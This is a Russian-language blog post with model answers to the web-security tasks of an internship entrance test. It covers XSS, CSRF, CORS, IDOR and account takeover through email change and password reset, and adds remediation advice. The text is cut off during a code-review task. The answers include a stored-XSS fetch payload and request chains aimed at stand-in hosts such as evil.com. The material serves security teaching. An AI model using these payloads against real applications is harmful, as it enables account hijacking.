Вход на сайт

Просмотр новости

Найдите то, что Вас интересует

Разбор заданий Summ3r 0f h4ck 2026

Дата публикации: 15-06-2026 15:07:31

C 13 апреля по 10 мая был открыт приём заявок на стажировку Summ3r 0f h4ck 2026. Для прохождения стажировки нужно было решить 10 задач по практической информационной безопасности, лучших по результатам этого этапа мы позвали сначала на собеседование, а потом и на саму стажировку. В этом году было рекордное количество заявок. К сожалению, всех желающих […]
Источник

Основное содержимое страницы с новостью.

C 13 апреля по 10 мая был открыт приём заявок на стажировку Summ3r 0f h4ck 2026.
Для прохождения стажировки нужно было решить 10 задач по практической информационной безопасности, лучших по результатам этого этапа мы позвали сначала на собеседование, а потом и на саму стажировку.
В этом году было рекордное количество заявок. К сожалению, всех желающих на Summ3r 0f h4ck 2026 мы позвать не можем, однако надеемся что эта статья поможет с решением заданий в следующем году 🙂

Вопрос 1

Вы проводите анализ защищённости веб-приложения корпоративного портала. В ходе тестирования вы обнаружили несколько сценариев API и исследовали их поведение. Представлены HTTP-запросы и ответы, полученные в ходе тестирования.

  1. Определите все уязвимости, присутствующие в представленных запросах и ответах.
  2. Для каждой уязвимости опишите: тип уязвимости, шаги эксплуатации и фактический риск (последствия успешной экплуатации).
  3. Опишите цепочку эксплуатации, позволяющую захватить произвольную учётную запись.
  4. Приведите рекомендации по устранению каждой найденной уязвимости.
    Запросы/ответы
Запрос 1 — Обновление профиля:
POST /api/v1/profile HTTP/1.1
Host: portal.targetcorp.com
Cookie: session=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEwNSwidXNlcm5hbWUiOiJhdHRhY2tlciIsInJvbGUiOiJ1c2VyIn0.xYz123
Content-Type: application/json
Origin: https://portal.targetcorp.com

{"display_name": "<img src=x onerror=alert(document.domain)>", "bio": "Test user"}
Ответ 1:
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: https://portal.targetcorp.com
Access-Control-Allow-Credentials: true

{"status": "ok", "message": "Profile updated"}

Запрос 2 — Просмотр профиля пользователя:
GET /profile/105 HTTP/1.1
Host: portal.targetcorp.com
Cookie: session=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEwNSwidXNlcm5hbWUiOiJhdHRhY2tlciIsInJvbGUiOiJ1c2VyIn0.xYz123
Ответ 2:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Powered-By: Express

<!DOCTYPE html>
<html>
<head><title>User Profile</title></head>
<body>
 <div class="profile-card">
   <h2><img src=x onerror=alert(document.domain)></h2>
   <p class="bio">Test user</p>
   <p class="uid">User ID: 105</p>
  </div>
</body>
</html>

Запрос 3 — Смена email:
POST /api/v1/account/change-email HTTP/1.1
Host: portal.targetcorp.com
Cookie: session=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEwNSwidXNlcm5hbWUiOiJhdHRhY2tlciIsInJvbGUiOiJ1c2VyIn0.xYz123
Content-Type: application/x-www-form-urlencoded
Origin: https://portal.targetcorp.com

new_email=attacker@evil.com
Ответ 3:
HTTP/1.1 200 OK
Content-Type: application/json

{"status": "ok", "message": "Email changed to attacker@evil.com"}

Запрос 4 — Смена email (с другого домена):
POST /api/v1/account/change-email HTTP/1.1
Host: portal.targetcorp.com
Cookie: session=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEwNSwidXNlcm5hbWUiOiJhdHRhY2tlciIsInJvbGUiOiJ1c2VyIn0.xYz123
Content-Type: application/x-www-form-urlencoded
Origin: https://evil-site.com
Referer: https://evil-site.com/csrf.html

new_email=hacked@evil.com
Ответ 4:
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: https://evil-site.com
Access-Control-Allow-Credentials: true

{"status": "ok", "message": "Email changed to hacked@evil.com"}

Запрос 5 — Сброс пароля:
POST /api/v1/account/reset-password HTTP/1.1
Host: portal.targetcorp.com
Content-Type: application/json

{"email": "hacked@evil.com"}
Ответ 5:
HTTP/1.1 200 OK
Content-Type: application/json

{"status": "ok", "message": "Password reset link sent to hacked@evil.com"}

Запрос 6 — Просмотр профиля другого пользователя:
GET /api/v1/profile/1 HTTP/1.1
Host: portal.targetcorp.com
Cookie: session=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEwNSwidXNlcm5hbWUiOiJhdHRhY2tlciIsInJvbGUiOiJ1c2VyIn0.xYz123
Ответ 6:
HTTP/1.1 200 OK
Content-Type: application/json

{"uid": 1, "username": "admin", "email": "admin@targetcorp.com",
 "role": "administrator", "display_name": "Admin User",
 "last_login": "2025-03-15T10:30:00Z"}
Решение: Stored XSS в поле display_name

В Запросе 1 в поле display_name передаётся HTML-тег <img src=x onerror=alert(document.domain)>. В Ответе 2 видно, что это значение отображается без экранирования (тег вставлен как есть в HTML).

CORS Misconfiguration

В Ответе 4 сервер отвечает заголовком Access-Control-Allow-Origin: https://evil-site.com и Access-Control-Allow-Credentials: true. Любой сторонний сайт может выполнять cross-origin запросы к API с куками пользователя.

Отсутствие CSRF-защиты на смене email

Сценарий /api/v1/account/change-email принимает Content-Type: application/x-www-form-urlencoded, не требует CSRF-токен и не проверяет текущий пароль. Это позволяет сменить email жертвы с внешнего сайта.

IDOR на чтение профилей

В Запросе 6 пользователь с uid=105 обращается к /api/v1/profile/1 и получает полные данные администратора, включая email и роль. Сервер не проверяет принадлежность запрашиваемого профиля текущему пользователю.

Захват чужого аккаунта
Через CORS + CSRF:
  1. Через IDOR (Запрос 6) узнаём email администратора: admin@targetcorp.com, uid=1.
  2. Создаём вредоносную страницу, которая при посещении администратором отправляет POST-запрос на /api/v1/account/change-email с new_email=attacker@evil.com
  3. Email администратора меняется на attacker@evil.com
  4. Запрашиваем сброс пароля на attacker@evil.com
  5. Получаем ссылку сброса пароля
  6. Устанавливаем свой пароль
  7. Входим как администратор
Через Stored XSS:
  1. Записываем в display_name полезную нагрузку XSS, которая выполняет fetch-запрос:
<img src=x onerror="fetch('/api/v1/account/change-email',

 {method:'POST',

  headers:{'Content-Type':'application/x-www-form-urlencoded'},

  body:'new_email=attacker@evil.com',

   credentials:'include'})">
  1. Когда администратор (или любой пользователь) просматривает профиль атакующего, XSS срабатывает и выполняет смену email от имени жертвы.
  2. Получаем ссылку сброса пароля
  3. Устанавливаем свой пароль
  4. Входим под учётной записью жертвы
Вопрос 2

Представлены пары HTTP-запросов и ответов. Опишите процесс тестирования представленной функциональности (какие проверки будете выполнять).
Какие потенциальные или явные уязвимости вы видите?

Запросы/ответы: Запрос 1:
POST /login HTTP/1.1
Host: vulnerableapp.ru
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Content-Type: application/json
Content-Lenght: ...

{"login":"userone","pass":"geibcnbr"}
Ответ 1:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Lenght: ...
Set-Cookie: session=<some session cookie>; SameSite=None

<html>
<head>...</head>
...
<body>
Hello, userone!
</body>
</html>

Запрос 2:
GET /user-info?id=MjUwMA== HTTP/1.1
Host: vulnerableapp.ru
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Cookie: session=<some session cookie>;
Ответ 2:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Lenght: ...

{"name":"alex", "pwd":"geibcnbr", "role":"user", "status":"verified"}

Запрос 3:
POST /update-user-info?id=MjUwMA== HTTP/1.1
Host: vulnerableapp.ru
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Content-Lenght: ...
Content-Type: application/json

{"name":"alex", "pwd":"newgeibcnbr"}
Ответ 3:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Lenght: ...

{"response":"OK"}

Запрос 4:
GET /item?id=351 HTTP/1.1
Host: vulnerableapp.ru
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Cookie: session=<some session cookie>;
Ответ 4:
HTTP/1.1 200 OK
Content-Lenght: ...
Content-Type: application/json

{"id":"351","price":"1000"}

Запрос 5:
POST /buy-item HTTP/1.1
Host: vulnerableapp.ru
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Content-Lenght: ...
Content-Type: application/json
Cookie: session=<some session cookie>;

{"id":"351", "price":"1000", "promocode":"20sale"}
Ответ 5:
HTTP/1.1 200 OK
Content-Lenght: ...
Content-Type: application/json

{"transaction-status":"OK"}
Решение: Запрос / ответ 1:
  • Вероятная XSS (login подставляется в тело ответа)
  • Аттрибутsamesite=none, отсутствие атрибутов Secure и httponly на Cookie
  • Потенциальные инъекции
  • Потенциально возможен перебор пароля (словарный пароль принят сервером)
    Запрос / ответ 2:
  • Потенциальный IDOR в GET параметре на чтение (идентификатор объекта в base64)
  • Плохая парольная политика либо её отсутствие
  • Потенциальные инъекции
    Запрос / ответ 3:
  • Потенциальный IDOR в GET параметре на запись (идентификатор объекта в base64)
  • Потенциальный Mass Assignment на изменение роли (role) и статуса аккаунта (status)
  • Потенциальные инъекции
    Запрос / ответ 4:
  • Потенциальные инъекции
    Запрос / ответ 5:
  • Потенциальные инъекции
  • Потенциальное манипулирование ценой (при отстутствии проверки сервером соответствия цены id товара)
  • Потенциальный race condition
Вопрос 3

Во время внутреннего аудита безопасности корпоративного web-приложения Acme Projects Portal был собран фрагмент HTTP-трафика, относящийся к действиям обычного пользователя и последующим подозрительным событиям.

Приложение используется сотрудниками компании для:

  • управления профилями;
  • просмотра структуры команды;
  • работы с проектами;
  • получения уведомлений;
  • восстановления доступа к аккаунту.

Вам передан набор пар HTTP запросов и ответов. Необходимо провести анализ так, как будто вы пришли на место инцидента уже после атаки и видите только цифровые следы.
На основе представленного трафика необходимо ответить на следующие вопросы:

  1. Что произошло?
  2. Почему это стало возможным?
  3. Какие рекомендации по исправлению ситуации следует дать клиенту?

В ответе необходимо:

  • восстановить предполагаемую последовательность действий атакующего;
  • указать уязвимости, логические ошибки и слабые места приложения;
  • описать последствия инцидента;
  • предложить рекомендации по устранению проблемы.
Запросы/ответы: Запрос 1
POST /api/v1/auth/login HTTP/1.1
Host: portal.acme.local
Content-Type: application/json

{
  "username": "alex",
  "password": "Winter2024!"
}
Ответ 1
HTTP/1.1 200 OK
Set-Cookie: SESSIONID=7f8a9c2e1d4b6a11; Path=/; HttpOnly

{
  "status": "ok",
  "user": {
    "id": 1042,
    "username": "alex",
    "role": "user"
  }
}

Запрос 2
GET /api/v1/profile HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Ответ 2
HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 1042,
  "username": "alex",
  "full_name": "Alex Ivanov",
  "email": "alex@acme.local",
  "department": "QA",
  "role": "user",
  "mfa_enabled": false
}

Запрос 3
GET /api/v1/users?limit=50 HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Ответ 3
HTTP/1.1 200 OK
Content-Type: application/json

{
  "total": 6,
  "items": [
    {
      "id": 1001,
      "username": "john",
      "full_name": "John Petrov",
      "email": "john@acme.local",
      "role": "admin",
      "department": "IT"
    },
    {
      "id": 1008,
      "username": "sarah",
      "full_name": "Sarah Connor",
      "email": "sarah@acme.local",
      "role": "manager",
      "department": "Finance"
    },
    {
      "id": 1042,
      "username": "alex",
      "full_name": "Alex Ivanov",
      "email": "alex@acme.local",
      "role": "user",
      "department": "QA"
    },
    {
      "id": 1043,
      "username": "kate",
      "full_name": "Kate Smirnova",
      "email": "kate@acme.local",
      "role": "user",
      "department": "QA"
    },
    {
      "id": 1050,
      "username": "devops",
      "full_name": "DevOps Service",
      "email": "devops@acme.local",
      "role": "service",
      "department": "Infrastructure"
    },
    {
      "id": 1099,
      "username": "audit",
      "full_name": "Audit Bot",
      "email": "audit@acme.local",
      "role": "system",
      "department": "Security"
    }
  ]
}

Запрос 4
GET /api/v1/users/1001 HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Ответ 4
HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 1001,
  "username": "john",
  "full_name": "John Petrov",
  "email": "john@acme.local",
  "role": "admin",
  "department": "IT",
  "phone": "+1-555-0101",
  "timezone": "UTC+3"
}

Запрос 5
POST /api/v1/profile/update HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Content-Type: application/json

{
  "user_id": 1042,
  "full_name": "Alex Ivanov",
  "email": "alex.personal@mailbox.test"
}
Ответ 5
HTTP/1.1 200 OK
Content-Type: application/json

{
  "status": "updated",
  "message": "Profile updated"
}

Запрос 6
GET /api/v1/profile HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Ответ 6
HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 1042,
  "username": "alex",
  "full_name": "Alex Ivanov",
  "email": "alex.personal@mailbox.test",
  "department": "QA",
  "role": "user",
  "mfa_enabled": false
}

Запрос 7
POST /api/v1/profile/update HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Content-Type: application/json

{
  "user_id": 1001,
  "full_name": "John Petrov",
  "email": "john-temp@external.test"
}
Ответ 7
HTTP/1.1 200 OK
Content-Type: application/json

{
  "status": "updated",
  "message": "Profile updated"
}

Запрос 8
GET /api/v1/users/1001 HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Ответ 8
HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 1001,
  "username": "john",
  "full_name": "John Petrov",
  "email": "john-temp@external.test",
  "role": "admin",
  "department": "IT",
  "phone": "+1-555-0101",
  "timezone": "UTC+3"
}

Запрос 9
GET /api/v1/notifications?user_id=1042 HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Ответ 9
HTTP/1.1 200 OK
Content-Type: application/json

[
  {
    "id": 50111,
    "type": "profile_change",
    "subject": "Your email was changed",
    "preview": "Your account email has been changed to alex.personal@mailbox.test",
    "created_at": "2026-03-11T09:11:43Z"
  }
]

Запрос 10
GET /api/v1/notifications?user_id=1001 HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Ответ 10
HTTP/1.1 200 OK
Content-Type: application/json

[
  {
    "id": 48872,
    "type": "profile_change",
    "subject": "Your email was changed",
    "preview": "Your account email has been changed to john-temp@external.test",
    "created_at": "2026-03-11T09:14:07Z"
  }
]

Запрос 11
POST /api/v1/auth/password/forgot HTTP/1.1
Host: portal.acme.local
Content-Type: application/json

{
  "email": "john-temp@external.test"
}
Ответ 11
HTTP/1.1 200 OK
Content-Type: application/json

{
  "status": "ok",
  "message": "If account exists, reset instructions have been sent"
}

Запрос 12
GET /api/v1/notifications?user_id=1001 HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Ответ 12
HTTP/1.1 200 OK
Content-Type: application/json

[
  {
    "id": 48872,
    "type": "profile_change",
    "subject": "Your email was changed",
    "preview": "Your account email has been changed to john-temp@external.test",
    "created_at": "2026-03-11T09:14:07Z"
  },
  {
    "id": 48873,
    "type": "password_reset",
    "subject": "Password reset requested",
    "preview": "Reset token: 4f9d2e77-7ac0-41e2-93d7-1cb7be7dd9d4",
    "created_at": "2026-03-11T09:15:02Z"
  }
]

Запрос 13
POST /api/v1/auth/password/reset HTTP/1.1
Host: portal.acme.local
Content-Type: application/json

{
  "token": "4f9d2e77-7ac0-41e2-93d7-1cb7be7dd9d4",
  "new_password": "NewStrongAdminPass#2026"
}
Ответ 13
HTTP/1.1 200 OK
Content-Type: application/json

{
  "status": "password_changed"
}

Запрос 14
POST /api/v1/auth/login HTTP/1.1
Host: portal.acme.local
Content-Type: application/json

{
  "username": "john",
  "password": "NewStrongAdminPass#2026"
}
Ответ 14
HTTP/1.1 200 OK
Set-Cookie: SESSIONID=aa91cd2200ef9812; Path=/; HttpOnly

{
  "status": "ok",
  "user": {
    "id": 1001,
    "username": "john",
    "role": "admin"
  }
}

Запрос 15
GET /api/v1/admin/dashboard HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=aa91cd2200ef9812
Ответ 15
HTTP/1.1 200 OK
Content-Type: application/json

{
  "stats": {
    "users": 186,
    "projects": 41,
    "active_sessions": 73
  },
  "message": "Welcome, John Petrov"
}

Запрос 16
GET /api/v1/admin/projects/export?format=json HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=aa91cd2200ef9812
Ответ 16
HTTP/1.1 200 OK
Content-Type: application/json

{
  "projects": [
    {
      "id": 7001,
      "name": "M&A Due Diligence",
      "owner": "Finance",
      "confidential": true
    },
    {
      "id": 7002,
      "name": "Internal IAM Migration",
      "owner": "IT",
      "confidential": true
    }
  ]
}

Запрос 17
GET /api/v1/admin/audit?limit=5 HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=aa91cd2200ef9812
Ответ 17
HTTP/1.1 200 OK
Content-Type: application/json

[
  {
    "event_id": 99001,
    "type": "login",
    "actor": "john",
    "ip": "10.10.14.23",
    "timestamp": "2026-03-11T09:17:10Z"
  },
  {
    "event_id": 98998,
    "type": "password_reset",
    "actor": "john",
    "ip": "10.10.14.23",
    "timestamp": "2026-03-11T09:15:18Z"
  },
  {
    "event_id": 98997,
    "type": "email_change",
    "actor": "alex",
    "target_user_id": 1001,
    "timestamp": "2026-03-11T09:14:07Z"
  }
]

Запрос 18
GET /api/v1/security/policy HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Ответ 18
HTTP/1.1 200 OK
Content-Type: application/json

{
  "email_change_requires_reauth": false,
  "password_reset_invalidate_sessions": false,
  "admin_mfa_required": false,
  "notify_on_sensitive_changes": true
}
Решение Что произошло?

Пользователь alex (role: user, id: 1042) смог полностью захватить учётную запись администратора john (role: admin, id: 1001) и получить доступ к конфиденциальным данным.

Атака не использовала никаких эксплойтов или уязвимостей в сторонних библиотеках — она целиком построена на логических дефектах самого приложения и отсутствии проверок авторизации в приложении.

Шаг 1 — Аутентификация под обычным пользователем

Запрос 1 / Ответ 1

Атакующий входит в приложение под учётными данными обычного пользователя:

POST /api/v1/auth/login
{ "username": "alex", "password": "Winter2024!" }

В ответе сервер возвращает:

{ "id": 1042, "username": "alex", "role": "user" }

и устанавливает сессионную куку SESSIONID=7f8a9c2e1d4b6a11. Именно эта кука используется во всех последующих запросах вплоть до Блока 6.

На этом этапе атакующий имеет легитимный доступ к приложению как обычный пользователь — ничего подозрительного.

Шаг 2 — Разведка: получение списка всех пользователей

Запрос 3 / Ответ 3

Атакующий запрашивает список сотрудников:

GET /api/v1/users?limit=50

Сервер возвращает полный список из 6 пользователей, включая:

{
  "id": 1001,
  "username": "john",
  "email": "john@acme.local",
  "role": "admin",
  "department": "IT"
}

Это даёт атакующему всё необходимое для выбора цели: внутренний идентификатор 1001, логин john, email и роль администратора. Помимо этого, в ответе видны служебные аккаунты (devops, audit) — потенциальные цели для дальнейших атак.

Шаг 3 — Уточнение данных администратора

Запрос 4 / Ответ 4

Атакующий запрашивает профиль администратора напрямую по ID:

GET /api/v1/users/1001

Сервер без каких-либо ограничений возвращает расширенную карточку:

{
  "id": 1001,
  "email": "john@acme.local",
  "role": "admin",
  "phone": "+1-555-0101",
  "timezone": "UTC+3"
}

Обычный пользователь получает детальный профиль администратора — это избыточное раскрытие информации.

Шаг 4 — Изучение механизма редактирования профиля на себе

Запрос 5 / Ответ 5 → Запрос 6 / Ответ 6

Перед атакой на чужой профиль атакующий проверяет, как работает endpoint обновления, на собственном аккаунте:

POST /api/v1/profile/update
{ "user_id": 1042, "full_name": "Alex Ivanov", "email": "alex.personal@mailbox.test" }

Сервер отвечает "status": "updated". Проверка через GET /api/v1/profile (Ответ 6) подтверждает, что email действительно изменился:

{ "email": "alex.personal@mailbox.test" }

Ключевое наблюдение: endpoint принимает user_id прямо из тела запроса и доверяет ему без проверки. Это означает, что можно передать любой user_id.

Шаг 5 — IDOR: изменение email администратора

Запрос 7 / Ответ 7 → Запрос 8 / Ответ 8

Атакующий повторяет тот же запрос, подменив user_id на 1001 (администратор john) и указав подконтрольный ему email:

POST /api/v1/profile/update
{ "user_id": 1001, "full_name": "John Petrov", "email": "john-temp@external.test" }

Сервер снова отвечает "status": "updated". Проверка через GET /api/v1/users/1001 (Ответ 8) подтверждает:

{ "email": "john-temp@external.test" }

Email администратора успешно изменён на адрес, контролируемый атакующим. Это центральный момент атаки.

Шаг 6 — IDOR: чтение уведомлений администратора

Запрос 10 / Ответ 10

Атакующий убеждается, что операция прошла успешно, запросив уведомления чужого пользователя:

GET /api/v1/notifications?user_id=1001

Сервер возвращает уведомления администратора, в том числе:

{
  "type": "profile_change",
  "subject": "Your email was changed",
  "preview": "Your account email has been changed to john-temp@external.test"
}

Это вторая независимая уязвимость IDOR: параметр user_id в query string не проверяется относительно текущего аутентифицированного пользователя.

Шаг 7 — Инициирование сброса пароля

Запрос 11 / Ответ 11

Теперь атакующий запускает процедуру сброса пароля, указав уже подменённый email администратора:

POST /api/v1/auth/password/forgot
{ "email": "john-temp@external.test" }

Сервер отвечает стандартным сообщением:

{ "status": "ok", "message": "If account exists, reset instructions have been sent" }

Письмо с токеном уходит на john-temp@external.test — адрес, подконтрольный атакующему. Но следующий шаг показывает, что письмо и вовсе не нужно.

Шаг 8 — Получение reset token через уведомления

Запрос 12 / Ответ 12

Атакующий снова читает уведомления администратора через тот же IDOR:

GET /api/v1/notifications?user_id=1001

В ответе появляется новое уведомление:

{
  "type": "password_reset",
  "subject": "Password reset requested",
  "preview": "Reset token: 4f9d2e77-7ac0-41e2-93d7-1cb7be7dd9d4"
}

Токен сброса пароля возвращается прямо в поле preview через API. Атакующему даже не нужен доступ к почтовому ящику — токен доступен через приложение.

Шаг 9 — Смена пароля администратора

Запрос 13 / Ответ 13

Используя полученный токен, атакующий устанавливает новый пароль для аккаунта john:

POST /api/v1/auth/password/reset
{ "token": "4f9d2e77-7ac0-41e2-93d7-1cb7be7dd9d4", "new_password": "NewStrongAdminPass#2026" }

Сервер отвечает:

{ "status": "password_changed" }
Шаг 10 — Вход под захваченной учётной записью

Запрос 14 / Ответ 14

Атакующий входит в приложение под аккаунтом администратора:

POST /api/v1/auth/login
{ "username": "john", "password": "NewStrongAdminPass#2026" }

Сервер выдаёт новую сессию:

Set-Cookie: SESSIONID=aa91cd2200ef9812
{ "id": 1001, "username": "john", "role": "admin" }

Захват аккаунта завершён. С этого момента атакующий действует с правами администратора.

Шаг 11 — Использование административных привилегий

Запрос 15 / Ответ 15 — административная панель

GET /api/v1/admin/dashboard
{ "users": 186, "projects": 41, "active_sessions": 73 }

Запрос 16 / Ответ 16 — экспорт конфиденциальных проектов

GET /api/v1/admin/projects/export?format=json
[
  { "name": "M&A Due Diligence", "confidential": true },
  { "name": "Internal IAM Migration", "confidential": true }
]

Атакующий получил доступ к конфиденциальным бизнес-данным организации.

Шаг 12 — Следы в аудите

Запрос 17 / Ответ 17

Аудит-лог фиксирует произошедшее:

{
  "type": "email_change",
  "actor": "alex",
  "target_user_id": 1001,
  "timestamp": "2026-03-11T09:14:07Z"
}

Запись явно показывает, что пользователь alex изменил данные пользователя с id: 1001. Это важный цифровой след, позволяющий атрибутировать атаку.

Примечание: записи с actor: john для событий login и password_reset отражают имя аккаунта, от которого выполнялось действие, а не реального человека. Реальный атакующий — alex.

Почему это стало возможным? Уязвимость 1 — IDOR в /api/v1/profile/update

Место: Запрос 7, поле user_id: 1001 в теле запроса.

Сервер принимает user_id от клиента и выполняет операцию над указанным объектом без проверки того, принадлежит ли этот объект текущему аутентифицированному пользователю. Это классический BOLA (Broken Object Level Authorization) по классификации OWASP API Security Top 10.

Уязвимость 2 — IDOR в /api/v1/notifications

Место: Запрос 10 и Запрос 12, параметр ?user_id=1001.

Endpoint уведомлений не проверяет, соответствует ли запрошенный user_id текущей сессии. Любой аутентифицированный пользователь может читать уведомления любого другого пользователя.

Уязвимость 3 — Утечка reset token в API-ответе

Место: Ответ 12, поле "preview": "Reset token: 4f9d2e77-7ac0-41e2-93d7-1cb7be7dd9d4".

Токен сброса пароля — это секрет, эквивалентный временному паролю. Его появление в клиентски доступном API-ответе означает, что он компрометируется независимо от того, дошло ли письмо до адресата. В сочетании с IDOR в уведомлениях это делает механизм сброса пароля полностью бесполезным с точки зрения безопасности.

Уязвимость 4 — Небезопасная бизнес-логика смены email

Место: Запрос 5→Ответ 5 (успешная смена без подтверждений), Запрос 7→Ответ 7 (то же для чужого аккаунта).

Смена email немедленно вступает в силу и не требует:

  • повторного ввода пароля;
  • подтверждения через старый email;
  • подтверждения через новый email.

Это означает, что при наличии IDOR в profile/update захват аккаунта через сброс пароля становится тривиальным.

Уязвимость 5 — Избыточное раскрытие данных в /api/v1/users

Место: Ответ 3 — обычный пользователь получает id, email, role всех сотрудников, включая служебные аккаунты (devops, audit).

Раскрытие внутренних ID и ролей облегчает разведку и выбор цели для атаки.

Уязвимость 6 — Отсутствие обязательной MFA для администраторов

Место: Ответ 2, поле "mfa_enabled": false; Ответ 18, поле "admin_mfa_required": false.

После компрометации логина и пароля ничто не помешало атакующему войти в аккаунт администратора (Ответ 14). Второй фактор аутентификации мог бы заблокировать атаку на этом шаге.

Уязвимость 7 — Отсутствие инвалидирования сессий после сброса пароля

Место: Ответ 18, поле "password_reset_invalidate_sessions": false.

После смены пароля все существующие сессии остаются активными. Это означает, что даже если легитимный администратор заметит атаку и сменит пароль обратно, атакующий с уже полученной сессией aa91cd2200ef9812 продолжит иметь доступ.

Уязвимость 8 — Избыточное раскрытие настроек безопасности

Место: Запрос 18 — запрос выполнен с сессией обычного пользователя 7f8a9c2e1d4b6a11, Ответ 18 возвращает детальные настройки политики безопасности приложения.

Атакующий получил информацию о настройках приложения без каких-либо привилегий.

Рекомендации по исправлению Рекомендация 1 — Исправить авторизацию на уровне объектов

Для всех self-service операций user_id должен извлекаться исключительно из серверной сессии, а не из тела запроса или query-параметров.

Было (Запрос 7):

POST /api/v1/profile/update
{ "user_id": 1001, "email": "john-temp@external.test" }

Должно быть:

POST /api/v1/profile/update
Cookie: SESSIONID=...
{ "email": "john-temp@external.test" }
// user_id берётся из сессии на стороне сервера

Это же правило применяется к /api/v1/notifications — endpoint должен возвращать только уведомления текущего аутентифицированного пользователя.

Рекомендация 2 — Убрать reset token из API-ответов

Поле preview в уведомлениях не должно содержать токен. Уведомление должно сообщать лишь факт события:

{
  "type": "password_reset",
  "preview": "A password reset was requested for your account."
}

Сам токен должен передаваться только по защищённому внешнему каналу (email). На сервере следует хранить только хеш токена (например, SHA-256), а не сам токен.

Рекомендация 3 — Усилить процесс смены email

Внедрить многоэтапное подтверждение:

  1. Повторный ввод текущего пароля при запросе смены.
  2. Отправка уведомления на старый email с возможностью отменить операцию.
  3. Подтверждение через новый email (переход по ссылке активирует новый адрес).
  4. Отложенная активация нового email (например, через 24 часа) для привилегированных аккаунтов.
    Рекомендация 4 — Инвалидировать все сессии после смены пароля

Параметр password_reset_invalidate_sessions должен быть true. После успешного сброса пароля все активные сессии пользователя должны аннулироваться, чтобы атакующий не мог продолжать использовать уже полученную сессию.

Рекомендация 5 — Сделать MFA обязательной для администраторов

admin_mfa_required должен быть true. Для аккаунтов с ролями admin, manager, service, system необходимо требовать второй фактор при каждом входе. Это могло бы заблокировать атаку на шаге 10, даже если все предыдущие уязвимости остались бы незакрытыми.

Рекомендация 6 — Минимизировать раскрытие данных в /api/v1/users

Для пользователей с ролью user следует возвращать только минимально необходимые поля — например, имя и отдел. Внутренние идентификаторы, email и роли не должны быть видны рядовым сотрудникам. Служебные аккаунты (devops, audit) не должны присутствовать в общем справочнике.

Рекомендация 7 — Ограничить доступ к /api/v1/security/policy

Настройки политики безопасности должны быть доступны только администраторам. Раскрытие этих данных обычным пользователям помогает атакующему понять, какие защитные механизмы отсутствуют.

Рекомендация 8 — Усилить мониторинг

Внедрить автоматические алерты для SOC/ответственных на следующие события:

  • смена email у пользователей с привилегированными ролями;
  • инициирование сброса пароля для администратора;
  • цепочку событий email_change → password_reset → login в короткий временной интервал (в данном случае — менее 6 минут, с 09:11 до 09:17 по данным из Ответ 17).
Вопрос 4

Вы анализируете файлы из утечки исходного кода веб-приложения электронной бухгалтерии. Необходимо исследовать представленный код, выявить возможные уязвимости и составить из них цепочку.

Для каждой обнаруженной проблемы требуется привести:

  • конкретное описание уязвимости;
  • максимальный реальный риск;
  • шаги по эксплуатации, полезная нагрузка для реализации этого риска и пояснения к ней;
  • рекомендации по устранению, необходимые замены в коде и комментарии, каким образом они обеспечат защиту.

Ссылка на скачивание файлов: https://github.com/testdsec/SOH2026/tree/main/task_4

Ответ: 1. Нарушение контроля доступа при получении информации о пользователях Описание

В приложении реализован доступ к информации о пользователях по прямой ссылке с использованием уникальных идентификаторов, при этом некорректно реализована проверка доступа пользователя к информации о другом пользователе,

Риск

Злоумышленник может получить данные обо всех пользователях приложения, включая их идентификаторы и электронные почты. Уязвимость может быть использована для осуществления дальнейших атак на приложение. Аутентификация в приложении для эксплуатации уязвимости не требуется.

Шаги по эксплуатации

В приложении существует функциональность получения информации о пользователях по их идентификатору userId с помощью GET-запроса /api/user?userId={userid}. Обработчик запроса реализован в файле UserController.cs:

        int? currentUserId = _currentUserService.GetCurrentUserId(HttpContext) is int id ? id : null;

        if (!Request.Query.ContainsKey("userId"))
        {
            return BadRequest(new { error = "Missing required parameter: userId" });
        }

        string whereClause = string.Empty;
        if (!string.IsNullOrWhiteSpace(userId))
        {
            ...
